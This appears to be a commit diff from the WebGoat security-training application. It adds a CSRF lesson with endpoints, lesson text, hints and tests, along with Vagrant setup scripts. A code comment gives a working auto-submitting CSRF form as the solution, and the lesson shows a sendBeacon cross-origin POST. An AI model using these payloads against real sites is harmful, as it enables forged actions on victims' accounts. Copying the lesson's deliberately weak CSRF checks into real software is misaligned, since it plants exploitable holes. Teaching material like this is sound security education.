$('a.attack-link').submit(function(event){
$.get(this.action, "json").then(self.onSuccessResponse, self.onErrorResponse);
});
},
renderFeedback: function(feedback) {
this.$curFeedback.html(polyglot.t(feedback) || "");
this.$curFeedback.show(400)

View File

@ -62,7 +62,7 @@ public class AssignmentEndpointTest {
public void init(AssignmentEndpoint a) {
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
ReflectionTestUtils.setField(a, "webSession", webSession);

View File

@ -1,23 +0,0 @@
package org.owasp.webgoat.plugins;
import com.github.fakemongo.Fongo;
import com.mongodb.MongoClient;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.mongodb.config.AbstractMongoConfiguration;
/**
* Using Fongo for embedded in memory MongoDB testing
*/
@Configuration
public class TestConfig extends AbstractMongoConfiguration {
@Override
protected String getDatabaseName() {
return "test";
}
@Override
public MongoClient mongo() throws Exception {
return new Fongo(getDatabaseName()).getMongo();
}
}

View File

@ -63,7 +63,7 @@ public class LessonMenuServiceTest {
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk())
@ -81,7 +81,7 @@ public class LessonMenuServiceTest {
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))

View File

@ -72,7 +72,7 @@ public class LessonProgressServiceTest {
@Before
public void setup() {
Assignment assignment = new Assignment("test", "test");
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(websession.getCurrentLesson()).thenReturn(lesson);
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));

View File

@ -53,7 +53,7 @@ public class ReportCardServiceTest {
when(course.getTotalOfLessons()).thenReturn(1);
when(course.getTotalOfAssignments()).thenReturn(10);
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
.andExpect(status().isOk())

View File

@ -0,0 +1,29 @@
package org.owasp.webgoat.users;
import org.assertj.core.api.Assertions;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.junit4.SpringRunner;
@DataJpaTest
@RunWith(SpringRunner.class)
public class UserRepositoryTest {
@Autowired
private UserRepository userRepository;
@Test
public void userShouldBeSaved() {
WebGoatUser user = new WebGoatUser("test", "password");
userRepository.saveAndFlush(user);
user = userRepository.findByUsername("test");
Assertions.assertThat(user.getUsername()).isEqualTo("test");
Assertions.assertThat(user.getPassword()).isEqualTo("password");
}
}

View File

@ -0,0 +1,101 @@
package org.owasp.webgoat.users;
import org.assertj.core.api.Assertions;
import org.assertj.core.util.Lists;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.List;
@DataJpaTest
@RunWith(SpringRunner.class)
public class UserTrackerRepositoryTest {
private class TestLesson extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.AJAX_SECURITY;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 12;
}
@Override
public String getTitle() {
return "test";
}
@Override
public String getId() {
return "test";
}
@Override
public List<Assignment> getAssignments() {
Assignment assignment = new Assignment("test", "test", Lists.newArrayList());
return Lists.newArrayList(assignment);
}
}
@Autowired
private UserTrackerRepository userTrackerRepository;
@Test
public void saveUserTracker() {
UserTracker userTracker = new UserTracker("test");
LessonTracker lessonTracker = userTracker.getLessonTracker(new TestLesson());
userTrackerRepository.save(userTracker);
userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
}
@Test
public void solvedAssignmentsShouldBeSaved() {
UserTracker userTracker = new UserTracker("test");
TestLesson lesson = new TestLesson();
userTracker.getLessonTracker(lesson);
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTracker.assignmentSolved(lesson, "test");
userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
}
@Test
public void saveAndLoadShouldHaveCorrectNumberOfAttemtps() {
UserTracker userTracker = new UserTracker("test");
TestLesson lesson = new TestLesson();
userTracker.getLessonTracker(lesson);
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findByUser("test");
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker);
Assertions.assertThat(userTracker.getLessonTracker(lesson).getNumberOfAttempts()).isEqualTo(4);
}
}

View File

@ -1 +1,4 @@
webgoat.user.directory=${java.io.tmpdir}
spring.datasource.url=jdbc:hsqldb:mem:test
spring.jpa.hibernate.ddl-auto=create-drop

View File

@ -1,32 +0,0 @@
Vagrant.configure(2) do |config|
config.vm.box = "boxcutter/ubuntu1604-desktop"
config.vm.provider "virtualbox" do |vb|
vb.gui = true
vb.memory = "4096"
vb.cpus = 2
vb.name = "WebGoat-Development"
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
end
config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'"
config.vm.provision 'shell' do |s|
s.path = '../vagrant_provision.sh'
s.privileged = true
end
config.vm.provision :shell, privileged:false, inline: <<-SHELL
echo -e "Cloning the WebGoat container repository"
git clone -b master https://github.com/WebGoat/WebGoat.git
echo -e "Cloning the WebGoat Lessons repository"
git clone -b master https://github.com/WebGoat/WebGoat-Lessons.git
SHELL
config.vm.provision 'shell' do |s|
s.inline = "echo Finished provisioning, login with user vagrant pass vagrant"
end
end

View File

@ -0,0 +1,35 @@
# Setup a Linux box headless which will start WebGoat and WebWolf helpful image to give away during training
Vagrant.configure(2) do |config|
config.vm.box = "ubuntu/trusty64"
config.vm.network :forwarded_port, guest: 8080, host: 8080
config.vm.network :forwarded_port, guest: 8081, host: 8081
config.vm.provider "virtualbox" do |vb|
vb.gui = false
vb.memory = "4096"
vb.cpus = 2
vb.name = "WebGoat-Training"
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
end
config.vm.provider "vmware_fusion" do |vf|
vf.gui = false
vf.vmx["memsize"] = 4096
vf.vmx["numvcpus"] = 2
vf.vmx["displayname"] = "WebGoat-Training"
end
config.vm.provision "shell", inline: <<-SHELL
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webgoat-server-8.0.0.RELEASE.jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webwolf-8.0.0.RELEASE.jar
sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install openjdk-8-jre -y
SHELL
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
java -jar webgoat-server-8.0.0.RELEASE.jar &
sleep 40s
java -jar webwolf-8.0.0.RELEASE.jar
SHELL
end

View File

@ -1,48 +0,0 @@
#For now use the same as for developers but start WebGoat
#In the future we can add Docker as well and then Vagrant can start the
#Docker container or Chef which setups the Tomcat
Vagrant.configure(2) do |config|
config.vm.box = "boxcutter/ubuntu1604-desktop"
config.vm.network :forwarded_port, guest: 8080, host: 9999
config.vm.provider "virtualbox" do |vb|
vb.gui = false
vb.memory = "2048"
vb.cpus = 2
vb.name = "WebGoat-Users"
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
end
config.vm.provider "vmware_fusion" do |vf|
vf.gui = false
vf.vmx["memsize"] = 4096
vf.vmx["numvcpus"] = 2
vf.vmx["displayname"] = "WebGoat-Users"
end
config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'"
config.vm.provision 'shell' do |s|
s.path = '../vagrant_provision.sh'
s.privileged = true
end
config.vm.provision :shell, inline: <<-SHELL
echo -e "Cloning the WebGoat container repository"
git clone -b master https://github.com/WebGoat/WebGoat.git
echo -e "Cloning the WebGoat Lessons repository"
git clone -b master https://github.com/WebGoat/WebGoat-Lessons.git
echo -e "Compiling and installing the WebGoat Container lesson server....."
mvn -q -DskipTests -file WebGoat/pom.xml clean compile install
echo -e "Compiling and installing the WebGoat Lessons $COL_RESET"
mvn -q -DskipTests -file WebGoat-Lessons/pom.xml package
echo -e "Copying the compiled lessons jars into the container so we can start the lesson server with some base lessons"
cp -fa ./WebGoat-Lessons/target/plugins/*.jar ./WebGoat/webgoat-container/src/main/webapp/plugin_lessons/
nohup mvn -q -DskipTests -file WebGoat/pom.xml -pl webgoat-container tomcat7:run-war 0<&- &>/dev/null &
SHELL
config.vm.provision 'shell' do |s|
s.inline = "echo Finished provisioning, open a browser and browse to http://localhost:9999/WebGoat/"
end
end

View File

@ -1,62 +0,0 @@
#!/usr/bin/env bash
set -e
echo "Setting locale..."
sudo update-locale LC_ALL=en_US.UTF-8 LANG=en_US.UTF-8
sudo kill -9 $(lsof -t /var/lib/dpkg/lock) || true
sudo apt-get update
sudo apt-get install -y git
echo "Installing required packages..."
sudo apt-get install -y -q build-essential autotools-dev automake pkg-config expect
## Chrome
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt-get update
sudo apt-get install -y google-chrome-stable
## Java 8
echo "Provisioning Java 8..."
mkdir -p /home/vagrant/java
cd /home/vagrant/java
test -f /tmp/jdk-8-linux-x64.tar.gz || curl -q -L --cookie "oraclelicense=accept-securebackup-cookie" http://download.oracle.com/otn-pub/java/jdk/8u101-b13/jdk-8u101-linux-x64.tar.gz -o /tmp/jdk-8-linux-x64.tar.gz
sudo mkdir -p /usr/lib/jvm
sudo tar zxf /tmp/jdk-8-linux-x64.tar.gz -C /usr/lib/jvm
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_101/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_101/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_101/bin/javaws" 1
sudo chmod a+x /usr/bin/java
sudo chmod a+x /usr/bin/javac
sudo chmod a+x /usr/bin/javaws
sudo chown -R root:root /usr/lib/jvm/jdk1.8.0_101
echo "export JAVA_HOME=/usr/lib/jvm/jdk1.8.0_101" >> /home/vagrant/.bashrc
## Maven
echo "Installing Maven.."
sudo apt-get install -y maven
## ZAP
echo "Provisioning ZAP..."
cd /home/vagrant
mkdir tools
cd tools
wget https://github.com/zaproxy/zaproxy/releases/download/2.5.0/ZAP_2.5.0_Linux.tar.gz
tar xvfx ZAP_2.5.0_Linux.tar.gz
rm -rf ZAP_2.5.0_Linux.tar.gz
## IntelliJ
cd /home/vagrant/tools
wget https://download.jetbrains.com/idea/ideaIC-2016.1.4.tar.gz
tar xvfz ideaIC-2016.1.4.tar.gz
rm -rf ideaIC-2016.1.4.tar.gz
## Eclipse
sudo apt-get -y install eclipse

View File

@ -46,7 +46,6 @@ public class Flag extends Endpoint {
@PostConstruct
public void initFlags() {
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
}
@Override

View File

@ -45,7 +45,7 @@ public class Assignment7 extends AssignmentEndpoint {
@Autowired
private RestTemplate restTemplate;
@Value("${webworf.url.mail}")
@Value("${webwolf.url.mail}")
private String webWolfMailURL;
@GetMapping("/reset-password/{link}")

View File

@ -64,7 +64,7 @@ public class CrossSiteScriptingLesson5a extends AssignmentEndpoint {
userSessionData.setValue("xss-reflected1-complete",(Object)"false");
StringBuffer cart = new StringBuffer();
cart.append("Thank you for shopping at WebGoat. <br />You're support is appreciated<hr />");
cart.append("<p>We have chaged credit card:" + field1 + "<br />");
cart.append("<p>We have charged credit card:" + field1 + "<br />");
cart.append( " ------------------- <br />");
cart.append( " $" + totalSale);

View File

@ -0,0 +1,88 @@
package org.owasp.webgoat.plugin;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.exception.ExceptionUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.util.Map;
import java.util.UUID;
/**
* @author nbaars
* @since 11/17/17.
*/
@AssignmentPath("/csrf/feedback")
@AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"})
public class CSRFFeedback extends AssignmentEndpoint {
@Autowired
private UserSessionData userSessionData;
@Autowired
private ObjectMapper objectMapper;
@PostMapping(value = "/message", produces = {"application/json"})
@ResponseBody
public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {
try {
objectMapper.readValue(feedback.getBytes(), Map.class);
} catch (IOException e) {
return failed().feedback(ExceptionUtils.getStackTrace(e)).build();
}
boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE);
correctCSRF &= hostOrRefererDifferentHost(request);
if (correctCSRF) {
String flag = UUID.randomUUID().toString();
userSessionData.setValue("csrf-feedback", flag);
return success().feedback("csrf-feedback-success").feedbackArgs(flag).build();
}
return failed().build();
}
@PostMapping(produces = "application/json")
@ResponseBody
public AttackResult flag(@RequestParam("confirmFlagVal") String flag) {
if (flag.equals(userSessionData.getValue("csrf-feedback"))) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());
}
}
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
String referer = request.getHeader("referer");
String host = request.getHeader("host");
return !StringUtils.contains(referer, host);
}
private boolean requestContainsWebGoatCookie(Cookie[] cookies) {
if (cookies != null) {
for (Cookie c : cookies) {
if (c.getName().equals("JSESSIONID")) {
return true;
}
}
}
return false;
}
/** Solution
<form name="attack" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST">
<input type="hidden" name='{"name": "Test", "email": "test1233@dfssdf.de", "subject": "service", "message":"dsaffd"}'>
</form>
<script>document.attack.submit();</script>
*/
}

View File

@ -0,0 +1,40 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
/**
* @author nbaars
* @since 11/17/17.
*/
@AssignmentPath("/csrf/login")
@AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"})
public class CSRFLogin extends AssignmentEndpoint {
@Autowired
private UserTrackerRepository userTrackerRepository;
@PostMapping(produces = {"application/json"})
@ResponseBody
public AttackResult completed() {
String userName = getWebSession().getUserName();
if (userName.startsWith("csrf")) {
markAssignmentSolvedWithRealUser(userName.substring("csrf-".length()));
return trackProgress(success().feedback("csrf-login-success").build());
}
return trackProgress(failed().feedback("csrf-login-failed").feedbackArgs(userName).build());
}
private void markAssignmentSolvedWithRealUser(String username) {
UserTracker userTracker = userTrackerRepository.findByUser(username);
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
userTrackerRepository.save(userTracker);
}
}

View File

@ -58,6 +58,7 @@
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="attack-container">
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
@ -89,7 +90,8 @@
method="POST" name="review-form"
successCallback=""
action="/WebGoat/csrf/review">
<input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review" type="text"/>
<input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review"
type="text"/>
<input class="form-control" id="reviewStars" name="stars" type="text"/>
<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"/>
<input type="submit" name="submit" value="Submit review"/>
@ -108,14 +110,144 @@
</div>
</div>
</div>
</div>
<!-- end comments -->
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:CSRF_Frameworks.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:CSRF_JSON.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:CSRF_ContentType.adoc"></div>
<script th:src="@{/lesson_js/feedback.js}" language="JavaScript"></script>
<div style="container-fluid; background-color: #f1f1f1; border: 2px solid #a66;
border-radius: 12px;
padding: 7px;
margin-top:7px;
padding:5px;">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="col-md-8">
<div class="well well-sm">
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback"
method="POST"
prepareData="feedback"
action="/WebGoat/csrf/feedback/message"
contentType="application/json">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="name">
Name</label>
<input type="text" class="form-control" name="name" id="name"
placeholder="Enter name"
required="required"/>
</div>
<div class="form-group">
<label for="email">
Email Address</label>
<div class="input-group">
<span class="input-group-addon"><span class="glyphicon glyphicon-envelope"></span>
</span>
<input type="email" name="email" class="form-control" id="email"
placeholder="Enter email"
required="required"/></div>
</div>
<div class="form-group">
<label for="subject">
Subject</label>
<select id="subject" name="subject" class="form-control" required="required">
<option value="na" selected="">Choose One:</option>
<option value="service">General Customer Service</option>
<option value="suggestions">Suggestions</option>
<option value="product">Product Support</option>
</select>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="name">
Message</label>
<textarea name="message" id="message" class="form-control" rows="9" cols="25"
required="required"
placeholder="Message"></textarea>
</div>
</div>
<div class="col-md-12">
<button class="btn btn-primary pull-right" id="btnContactUs">
Send Message
</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<div class="attack-container">
<div class="assignment-success">
<i class="fa fa-2 fa-check hidden" aria-hidden="true">
</i>
</div>
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-feedback"
method="POST" name="form2"
action="/WebGoat/csrf/feedback"
enctype="application/json;charset=UTF-8">
Confirm Flag Value:
<input type="text" length="6" name="confirmFlagVal" value=""/>
<input name="submit" value="Submit" type="submit"/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:CSRF_Login.adoc"></div>
<div class="attack-container">
<div class="assignment-success">
<i class="fa fa-2 fa-check hidden" aria-hidden="true">
</i>
</div>
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-login"
method="POST" name="form2"
action="/WebGoat/csrf/login"
enctype="application/json;charset=UTF-8">
Press the button below when your are logged in as the other user<br/>
<input name="submit" value="Solved!" type="submit"/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:CSRF_Impact_Defense.adoc"></div>
</div>
<!--</div>-->
</html>

View File

@ -17,3 +17,16 @@ csrf-review.success=It appears you have submitted correctly from another site. G
csrf-review-hint1=Again, you will need to submit from an external domain/host to trigger this action. While CSRF can often be triggered from the same host (e.g. via persisted payload), this doesn't work that way.
csrf-review-hint2=Remember, you need to mimic the existing workflow/form.
csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to overcome (mimic) it
csrf-feedback-hint1=Look at the content-type.
csrf-feedback-hint2=Try to post the same message with content-type text/plain
csrf-feedback-hint3=The json can be put into a hidden field inside
csrf-feedback-invalid-json=Invalid JSON received.
csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0}
csrf-login-hint1=First create a new account with csrf-username
csrf-login-hint2=Create a form which will log you in as this user (hint 1) and upload it to WebWolf
csrf-login-hint3=Visit this assignment again
csrf-login-success=Congratulations, now log out and login with your normal user account within WebGoat, remember the attacker knows you solved this assignment
csrf-login-failed=The solution is not correct, you are clicking the button while logged in as {0}

Binary file not shown.

After

Width:  |  Height:  |  Size: 212 KiB

View File

@ -0,0 +1,7 @@
webgoat.customjs.feedback = function() {
var data = {};
$('#csrf-feedback').find('input, textarea, select').each(function(i, field) {
data[field.name] = field.value;
});
return JSON.stringify(data);
}

View File

@ -0,0 +1,23 @@
== CSRF and content-type
In the previous section we saw how relying on the content-type is not a protection against
CSRF. In this section we will look into another way we can perform a CSRF attack against
a APIs which are not protected against CSRF.
In this assignment you need to achieve to POST the following JSON message to our endpoints:
[source]
----
POST /csrf/feedback HTTP/1.1
{
"name" : "WebGoat",
"email" : "webgoat@webgoat.org"
"content" : "WebGoat is the best!!"
}
----
More information can be found http://pentestmonkey.net/blog/csrf-xml-post-request[here]
Remember you need to make the call from another origin (WebWolf can help here) and you need to be logged in into
WebGoat.

View File

@ -0,0 +1,22 @@
=== Automatic support from frameworks
Most frameworks now have default support for preventing CSRF. For example with Angular an interceptor reads a token
from a cookie by default XSRF-TOKEN and sets it as an HTTP header, X-XSRF-TOKEN. Since only code that runs on your domain
could read the cookie, the backend can be certain that the HTTP request came from your client application and not an attacker.
In order for this to work the backend server sets the token in a cookie. As the value of the cookie should be read
by Angular (JavaScript) this cookie should not be marked with the http-only flag. On every request towards the server
Angular will put the token in the X-XSRF-TOKEN as a HTTP header. The server can validate whether those two tokens
match and this will ensure the server the request is running on the same domain.
*Important: DEFINE A SEPARATE COOKIE, DO NOT REUSE THE SESSION COOKIE*
Remember the session cookie should always be defined with http-only flag.
Another effective defense can be to add a custom request header to each call. This will work if all the interactions
with the server are performed with JavaScript. On the server side you only need to check the presence of this header
if this header is not present deny the request.

View File

@ -0,0 +1,46 @@
**But I only have JSON APIs and no CORS enabled, how can those be susceptible to CSRF?**
A lot of web applications implement no protection against CSRF they are somehow protected by the fact that
they only work with `application/json` as content type. The only way to make a request with this content-type from the
browser is with a XHR request. Before the browser can make such a request a preflight request will be made towards
the server (remember the CSRF request will be cross origin). If the preflight response does not allow the cross origin
request the browser will not make the call.
To make a long answer short: this is *not* a valid protection against CSRF.
One example why this protection is not enough can be found https://bugs.chromium.org/p/chromium/issues/detail?id=490015[here].
Turns out `Navigator.sendBeacon()` was allowed to send POST request with an arbitrary content-type.
[qoute, developer.mozilla.org]
____
The navigator.sendBeacon() method can be used to asynchronously transfer a small amount of
data over HTTP to a web server. This method addresses the needs of analytics and diagnostics
code that typically attempts to send data to a web server prior to the unloading of the
document. Sending the data any sooner may result in a missed opportunity to gather data..."
____
{nbsp} +
For example:
[source]
----
function postBeacon() {
var data= new Blob([JSON.stringify({"author" :"WebGoat"})], {type : 'application/json'});
navigator.sendBeacon("http://localhost:8083", data)
}
----
[quote, Eduardo Vela]
____
I think Content-Type restrictions are useful for websites that are accidentally safe against CSRF. They are not meant to be, but they are because they happen to only accept XML or JSON payloads.
That said, it's somewhat obvious the websites depending on this behavior should be fixed, and any reputable pentesters will point that out. The issue is whether it's the browser responsibility to act as a nanny to weak websites, or we should leave weak websites as sacrifice for great justice. Survival of the fittest.
IMHO, the answer is somewhere in between, and a good first step would be to document all these Same Origin Policy gotchas that websites might depend upon for security.
But wrt to this bug in specific, if it never got fixed, I don't think it would be the end of the world. But then again, on this day and age, maybe there's a way to launch nuclear missiles with a XML RPC interface, so maybe it would be the end of the world.
____
{nbsp} +
Both Firefox and Chrome fixed this issue, but it shows why you should implement a CSRF protection instead
of relying on the content-type of your APIs.

View File

@ -0,0 +1,24 @@
:blank: pass:[ +]
== Login CSRF attack
In a login CSRF attack, the attacker forges a login request to an honest site using the attackers username
and password at that site. If the forgery succeeds, the honest server responds with a `Set-Cookie` header
that instructs the browser to mutate its state by storing a session cookie, logging the user into
the honest site as the attacker. This session cookie is used to bind subsequent requests to the users session and hence
to the attackers authentication credentials. Login CSRF attacks can have serious consequences, for example
see the picture below where an attacker created an account at google.com the victim visits the malicious
website and the user is logged in as the attacker. The attacker could then later on gather information about
the activities of the user.
{blank}
image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"]
{blank}
For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper]
In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack. First create a user
based on your own username prefixed with csrf. So if your username is `tom` you must create
a new user called `csrf-tom`

View File

@ -1,9 +1,9 @@
== Post a review on someone else's behalf
The page below simulates a comment/review page. The difference here is that you have to inititate the submission elsewhere as you might
The page below simulates a comment/review page. The difference here is that you have to initiate the submission elsewhere as you might
with a CSRF attack and like the previous exercise. It's easier than you think. In most cases, the trickier part is
finding somewhere that you want to execute the CSRF attack. The classic example is account/wire transfers in someone's bank account.
But we're keepoing it simple here. In this case, you just need to trigger a review submission on behalf of the currently
But we're keeping it simple here. In this case, you just need to trigger a review submission on behalf of the currently
logged in user.

View File

@ -0,0 +1,58 @@
package org.owasp.webgoat.plugin;
import org.hamcrest.core.StringContains;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.http.MediaType;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import javax.servlet.http.Cookie;
import static org.hamcrest.core.Is.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 11/17/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class CSRFFeedbackTest extends LessonTest {
@Before
public void setup() throws Exception {
CSRF csrf = new CSRF();
when(webSession.getCurrentLesson()).thenReturn(csrf);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void postingJsonMessageThroughWebGoatShouldWork() throws Exception {
mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(status().isOk());
}
@Test
public void csrfAttack() throws Exception {
mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.TEXT_PLAIN)
.cookie(new Cookie("JSESSIONID", "test"))
.header("host", "localhost:8080")
.header("referer", "webgoat.org")
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
}
}

View File

@ -1,8 +1,8 @@
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request.
The user should become familiar with the features of WebGoat by manipulating the above buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. You may also try using OWASP ZAP Attack Proxy to see the HTTP data.
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the
input and display it back to the user, illustrating the basics of handling an HTTP request.
== Try It!
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request.
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input
and display it back to the user, illustrating the basics of handling an HTTP request.

View File

@ -43,34 +43,13 @@
<version>${project.version}</version>
